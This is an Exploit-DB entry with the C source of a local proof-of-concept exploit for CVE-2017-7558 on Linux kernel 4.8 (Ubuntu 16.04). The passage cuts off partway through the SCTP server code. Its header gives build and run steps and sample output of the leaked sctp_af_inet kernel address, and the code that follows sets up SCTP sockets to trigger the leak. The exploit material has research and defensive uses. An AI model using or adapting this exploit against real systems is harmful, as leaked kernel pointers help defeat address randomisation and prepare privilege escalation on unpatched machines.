Exploit-DB #45919
Description: Linux Kernel 4.8 (Ubuntu 16.04) - Leak sctp Kernel Pointer
Type: dos
Platform: linux
Date: 2018-11-30
Author: Jinbum Park

Exploit:
/*
# Exploit Title: Linux Kernel 4.8 (Ubuntu 16.04) - Leak sctp kernel pointer
# Google Dork: -
# Date: 2018-11-20
# Exploit Author: Jinbum Park
# Vendor Homepage: -
# Software Link: -
# Version: Linux Kernel 4.8 (Ubuntu 16.04)
# Tested on: 4.8.0-36-generic #36~16.04.1-Ubuntu SMP Sun Feb 5 09:39:57 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
# CVE: 2017-7558
# Category: Local
*/

/*
 * [ Briefs ] 
 *    - CVE-2017-7558 has discovered and reported by Stefano Brivio of the Red Hat. (but, no publicly available exploit)
 *    - This is local exploit against the CVE-2017-7558.
 *
 * [ Tested version ]
 *    - 4.8.0-36-generic #36~16.04.1-Ubuntu SMP Sun Feb 5 09:39:57 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
 *
 * [ Prerequisites ]
 *    - sudo apt-get install libsctp-dev
 *
 * [ Goal ]
 *    - Leak kernel symbol address of "sctp_af_inet"
 *
 * [ Run exploit ]
 *    - $ gcc poc.c -o poc -lsctp -lpthread
 *    - $ ./poc
 *      [] Waiting for connection
 *      [] New client connected
 *      [] Received data: Hello, Server!
 *      [] sctp_af_inet address : 0
 *      [] sctp_af_inet address : ffffffffc0c541e0
 *      [] sctp_af_inet address : 0
 *      [] sctp_af_inet address : ffffffffc0c541e0  (leaked kernel pointer)
 *    - $ sudo cat /proc/kallsyms | grep sctp_af_inet  (Check whether leaked pointer value is corret)
 *      ffffffffc0c541e0 d sctp_af_inet [sctp]
 *
 * [ Contact ]
 *    - jinb.park7@gmail.com
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <unistd.h>
#include <asm/types.h>
#include <sys/socket.h>
#include <linux/netlink.h>
#include <linux/rtnetlink.h>
#include <netinet/in.h>
#include <linux/tcp.h>
#include <linux/sock_diag.h>
#include <linux/inet_diag.h>
#include <netinet/sctp.h>
#include <arpa/inet.h>
#include <pwd.h>
#include <pthread.h>
#include <errno.h>

#define MY_PORT_NUM 62324

struct sctp_info {
    __u32   sctpi_tag;
    __u32   sctpi_state;
    __u32   sctpi_rwnd;
    __u16   sctpi_unackdata;
    __u16   sctpi_penddata;
    __u16   sctpi_instrms;
    __u16   sctpi_outstrms;
    __u32   sctpi_fragmentation_point;
    __u32   sctpi_inqueue;
    __u32   sctpi_outqueue;
    __u32   sctpi_overall_error;
    __u32   sctpi_max_burst;
    __u32   sctpi_maxseg;
    __u32   sctpi_peer_rwnd;
    __u32   sctpi_peer_tag;
    __u8    sctpi_peer_capable;
    __u8    sctpi_peer_sack;
    __u16   __reserved1;

    /* assoc status info */
    __u64   sctpi_isacks;
    __u64   sctpi_osacks;
    __u64   sctpi_opackets;
    __u64   sctpi_ipackets;
    __u64   sctpi_rtxchunks;
    __u64   sctpi_outofseqtsns;
    __u64   sctpi_idupchunks;
    __u64   sctpi_gapcnt;
    __u64   sctpi_ouodchunks;
    __u64   sctpi_iuodchunks;
    __u64   sctpi_oodchunks;
    __u64   sctpi_iodchunks;
    __u64   sctpi_octrlchunks;
    __u64   sctpi_ictrlchunks;

    /* primary transport info */
    struct sockaddr_storage sctpi_p_address;
    __s32   sctpi_p_state;
    __u32   sctpi_p_cwnd;
    __u32   sctpi_p_srtt;
    __u32   sctpi_p_rto;
    __u32   sctpi_p_hbinterval;
    __u32   sctpi_p_pathmaxrxt;
    __u32   sctpi_p_sackdelay;
    __u32   sctpi_p_sackfreq;
    __u32   sctpi_p_ssthresh;
    __u32   sctpi_p_partial_bytes_acked;
    __u32   sctpi_p_flight_size;
    __u16   sctpi_p_error;
    __u16   __reserved2;

    /* sctp sock info */
    __u32   sctpi_s_autoclose;
    __u32   sctpi_s_adaptation_ind;
    __u32   sctpi_s_pd_point;
    __u8    sctpi_s_nodelay;
    __u8    sctpi_s_disable_fragments;
    __u8    sctpi_s_v4mapped;
    __u8    sctpi_s_frag_interleave;
    __u32   sctpi_s_type;
    __u32   __reserved3;
};

enum {
    SS_UNKNOWN,
    SS_ESTABLISHED,
    SS_SYN_SENT,
    SS_SYN_RECV,
    SS_FIN_WAIT1,
    SS_FIN_WAIT2,
    SS_TIME_WAIT,
    SS_CLOSE,
    SS_CLOSE_WAIT,
    SS_LAST_ACK,
    SS_LISTEN,
    SS_CLOSING,
    SS_MAX
};

enum sctp_state {
    SCTP_STATE_CLOSED       = 0,
    SCTP_STATE_COOKIE_WAIT      = 1,
    SCTP_STATE_COOKIE_ECHOED    = 2,
    SCTP_STATE_ESTABLISHED      = 3,
    SCTP_STATE_SHUTDOWN_PENDING = 4,
    SCTP_STATE_SHUTDOWN_SENT    = 5,
    SCTP_STATE_SHUTDOWN_RECEIVED    = 6,
    SCTP_STATE_SHUTDOWN_ACK_SENT    = 7,
};

enum {
    TCP_ESTABLISHED = 1,
    TCP_SYN_SENT,
    TCP_SYN_RECV,
    TCP_FIN_WAIT1,
    TCP_FIN_WAIT2,
    TCP_TIME_WAIT,
    TCP_CLOSE,
    TCP_CLOSE_WAIT,
    TCP_LAST_ACK,
    TCP_LISTEN,
    TCP_CLOSING,    /* Now a valid state */
    TCP_NEW_SYN_RECV,

    TCP_MAX_STATES  /* Leave at the end! */
};

enum sctp_sock_state {
    SCTP_SS_CLOSED         = TCP_CLOSE,
    SCTP_SS_LISTENING      = TCP_LISTEN,
    SCTP_SS_ESTABLISHING   = TCP_SYN_SENT,
    SCTP_SS_ESTABLISHED    = TCP_ESTABLISHED,
    SCTP_SS_CLOSING        = TCP_CLOSE_WAIT,
};

static volatile int servser_stop_flag = 0;
static volatile int client_stop_flag = 0;

static void *server_thread(void *arg) {
    int listen_fd, conn_fd, flags, ret, in;
    char buffer[1024];
    struct sctp_sndrcvinfo sndrcvinfo;
    struct sockaddr_in servaddr = {
            .sin_family = AF_INET,
            .sin_addr.s_addr = htonl(INADDR_ANY),
            .sin_port = htons(MY_PORT_NUM),
    };
    struct sctp_initmsg initmsg = {
            .sinit_num_ostreams = 5,
            .sinit_max_instreams = 5,
            .sinit_max_attempts = 4,
    };

    listen_fd = socket(AF_INET, SOCK_STREAM, IPPROTO_SCTP);
    if (listen_fd < 0)
        return NULL;

    ret = bind(listen_fd, (struct sockaddr *) &servaddr, sizeof(servaddr));
    if (ret < 0)
        return NULL;

    ret = setsockopt(listen_fd, IPPROTO_SCTP, SCTP_INITMSG, &initmsg, sizeof(initmsg));
    if (ret < 0)
        return NULL;

    ret = listen(listen_fd, initmsg.sinit_max_instreams);
    if (ret < 0)
        return NULL;
    
    printf("[] Waiting for connection\n");

    conn_fd = accept(l